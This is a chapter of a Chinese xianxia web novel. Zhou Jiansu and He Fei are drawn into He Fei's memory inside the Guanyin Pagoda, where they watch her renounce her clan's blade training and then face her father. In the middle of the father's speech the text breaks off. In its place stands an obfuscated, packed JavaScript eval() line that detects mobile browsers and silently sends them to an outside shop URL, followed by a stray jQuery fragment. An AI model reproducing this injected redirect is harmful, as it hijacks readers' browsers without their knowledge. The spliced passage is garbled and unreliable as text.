在塔外看,观音塔是一座肃然沉重的铜塔。
但进入塔内,它就变成了一座琉璃塔。
何斐对观音塔所知不多,只知道:“长老说过,太祖人到暮年,追忆往昔,才建了这座宝塔。”
传闻中,观音塔关照世间万物,可以回溯人生最重要的时刻。
但何斐要说的显然不是这个:“我听说观音塔是周朝的重要观测点……”
她一个外来者,真的方便吗?
周见素有点懵。
季明给的地图完全没提这一茬。那个小册子做得像是旅游宝典,他看来看去,觉得还算合适,才带着何斐过来。
周见素大方道:“如果是重要的地方,肯定会有重兵把守。”
何斐于是十分信任地跟着他走。
观音塔共有七层,空旷的塔内回荡着他们的脚步声,正要登上二层,何斐忽然轻轻叫了一声。
周见素连忙回头:“怎么了?”
何斐有点惊慌,低声问:“师兄,我似乎听见了……人声?”
她看起来不像是胡言乱语,修士的直觉更不能忽视,周见素立在原地,不再往前走,放出灵体,认真扫荡一圈。
一无所获。
在这段时间里,何斐也渐渐平静了些:“可能是我听错了,没事的师兄。”
周见素摇头道:“不,既然你觉得不对劲,那我们先离开这里。”
何斐停顿了一瞬,脸色有些微妙。
然而周见素看不懂她的未尽之语,只顾着保命。
周见素:“走吧?”
“……嗯。”
然而塔门已经关上了,他也并没有找到开门的机关。
这回周见素真是有点麻木了,正要运转遁术先离开这里,背后的何斐却忽然快步回头跑开了。
“???”周见素迷茫,错愕,震惊。
他连忙追上何斐,顾不得礼数,伸手抓住何斐的手腕。
“噗通——”
一道水声哗啦作响,两人齐齐跌入水中。
周见素狼狈地从水中站起,何斐于是也被他拎了起来。
他抹了把脸,视线清晰了些,发现这是一条不算太宽阔的河流,河水冲过他的小腿。
周见素松开何斐的手:“你还好吗?”
何斐看起来不太好。
她面白如纸,抬头望去。河边是一方小小的木屋,河水绕屋过,一派农家美景。
周见素心中微动。
看起来倒是很适合种菜,河水这样近,浇水也很方便……不对。
周见素在心里扇了自己一巴掌,拉回思绪。
何斐踉踉跄跄地往前走,鞋袜已经湿透,在地上踩出道道水痕。
周见素连忙跟上,若有所思地看着她的背影。
她知道这是哪里?
何斐曾经在此地居住过一段时间。
说是居住,其实更近乎于软禁。
何斐不愿回忆这段时光,但观音塔……她后知后觉地苦笑,原来这就是观音塔。
回溯过去,重回记忆中最深刻的时光吗?
她越走越急,周见素几乎追不上她。
两人在木屋外停下脚步,周见素迟疑着想说什么,却被屋内激烈的争吵声打断。
准确来说,只是一道刺耳的男声。
男声喋喋不休地指责:“你到底想做甚!何家怎么出了你这么个孬种?好好的修行不行吗??你以为自己是什么,家族培养你这么多年,岂能由你为所欲为?!”
周见素已经听懂了。
他有些震惊,也很尴尬。世界上最狼狈的事,其中之一就是做客遇上吵架。
谁没点往事,偏偏叫他撞上,这可不好。
屋内的何斐沉默不语,男声忍无可忍,拔高声音:“说话!”
透过窗棂,年幼的何斐站起身。
那双眼睛和现在的她几乎完全相同,双眸圆润,实在是很没有攻击性的眉眼。
她缓缓走到桌边,抬手拿起短刀。
在男人松弛下来的目光中,只听咔嚓一声脆响,短刀应声折断。
“我不愿学刀。”她跪下,眼泪掉在地上,整个人却还是硬邦邦的,“求父亲成全。这身修为,可以全数归还家族。”
……
经过短暂的混乱,何斐终于平静下来,轻轻道:“我当年很不懂事吧?”
几乎同时,周见素感叹道:“看不出来,何师妹这么硬气。”
四目相撞,齐齐愣了一下。
何斐愕然:“你……”
这段往事,谁听了都觉得她有错。
最温和的大师兄得知此事,也会拍着她的肩头,告诫她“往事已矣,日后莫再如此。”
周见素疑惑:“家族供养你,你的修为不是还回去了吗?”
难怪她修为不算很强,按照她的出身,这点修为实在太不起眼。
何斐不自觉地点头:“当然,那是应该的。”
“那也没什么。”周见素倚着木门,悠闲道,“人活着又不是为了当谁的工具。何况医修有什么不好,神医才是食物链顶端的人物。”
何斐听不懂他说什么“食物链”,却也知道他在宽慰自己:“嗯,我不觉得医修低人一等。”
只是家族不这样觉得。
于是她从此度过了太漫长的时光。
将全部修为渡给家族中的小辈后,她跌落筑基期,经脉十之四五受损。对外的理由是练功走火入魔,修为大损,未来无法练刀,因此转修医修。
天之骄子一夜陨落。
她顶着同门质疑的目光,伤痛的身体,一步步往上走。家族已经不再是她的后盾,但是何斐并不后悔。
她只是无法面对从前的自己,无法在被刁难时告诉自己,这是应该承受的部分。
肩上一热,何斐茫然抬头,周见素轻拍她的肩头:“何师妹,你会成为天下最好的医修。”
何斐重重点头:“嗯!”
屋子里一片寂静,木门被猛地推开,男人推门而出。
两人都没有动弹。
周见素甚至想找个地方坐下。在他的理解里,这只是一个回忆。
然而男人却看见了他,皱眉大声喝问:“你是何人?!”
周见素:“?!”
他迅速站直身子。
何景堂警惕地审视着这个陌生人。
看不出什么特殊的波动,一张带着病气的小白脸,头发也有些湿润,不管怎么看都非常普通。
但是什么普通人能悄无声息地靠近他?
手里出现一枚传讯符,他故作轻松:“不知阁下是哪位?此乃何家地界,阁下若
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17778598|206821||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
无要事,还请莫要靠近。”
周见素莫名地盯着他,满脑子都是:我怎么会被看见?
他回头看一眼何斐,何景堂也看见了她,眼中闪过一丝疑惑。
“姑娘是……”
何斐沉默不语,躲开他的视线。
周见素看出她不想回答,不着痕迹地横移一步,结结实实地挡住她:“何长老——故人托我,来此地见一位小友。”
这是他第一反应的回复。
如果这样可以让何斐过得好一些的话。
何景堂果然问:“不知是哪位道友所托?”
周见素大脑飞速运转。
哪位大能合适?
周朝?崔朝?
眼看着何景堂眯起眼睛,对他的话产生了怀疑,周见素抽出一个人名:“缺月之内,雷山深处。”
桐绰言!
何景堂悚然一惊,几乎条件反射地要打量四周。
他大脑千回百转,似乎在判断真伪,片刻后才笑道:“小女竟有这番荣幸,能得桐尊者青眼,真是令我难以置信。”
周见素做高深状。
“道友所说,我自然是信的。”何景堂说着,捏碎手中通讯符,“只是小女正在闭关修炼,恐怕今日不太方便。”
何斐忍耐不住,上前一步:“刚才她不是还在说话么?”
何景堂望向她:“……姑娘长得很面熟,不知我是否在何处见过你?”
何斐声音一断,周见素不慌不忙道:“何长老,此事不便告知。”
三人僵持不下,眼见着即将要大打出手,周见素只得道:“既然如此,那日我再来探望,还望何长老莫要苛待此女。”
何景堂抱拳道:“她也是我女儿。”
周见素拉着何斐要走,那条河流突然涨潮,水漫出河堤,弥漫到二人脚下。
何景堂仍半信半疑,见他们转身就走,忽然心中一定,暗道:这二人定是装神弄鬼!
身后劲风袭来,周见素甚至来不及防御,就被拍在了背心。
然而风声在远处时迅疾,拍在身上时,却显得太过温柔。
周见素回头一看,目光中却再也没有那座小木屋。
连那条河流也无所踪迹,一切似乎只是他做的梦。
只有身侧的何斐,还能证明他经历的一切都是真实。
何斐站定,想要说什么,忽然浑身微颤,不受控制地跌坐在地。
“怎么了!”周见素大惊,伸手去扶。
然而何斐并没有顺势起身,而是朝他摇了摇头。比起受伤,她的样子倒更像是——
破境?!
周见素愣了一秒。
不愧是天之骄子,破境如此轻松,看得他都有点羡慕了呢。
周见素心中毫无波澜地想。
*
何景堂走出演武堂。
他生得一张冷硬的脸,加之脾气更硬,人人对他避之不及,一路上只听得连续不断地:“何长老。”
“何长老好。”
何景堂目不斜视,唯有脚步几不可察地停顿一瞬。
是错觉吗。
记忆里似乎多出了一段东西。
何斐……她什么时候认识了桐绰言那半截枯树?
何景堂回忆着记忆中的一切,有些混乱,脚步一转,走向宗主峰。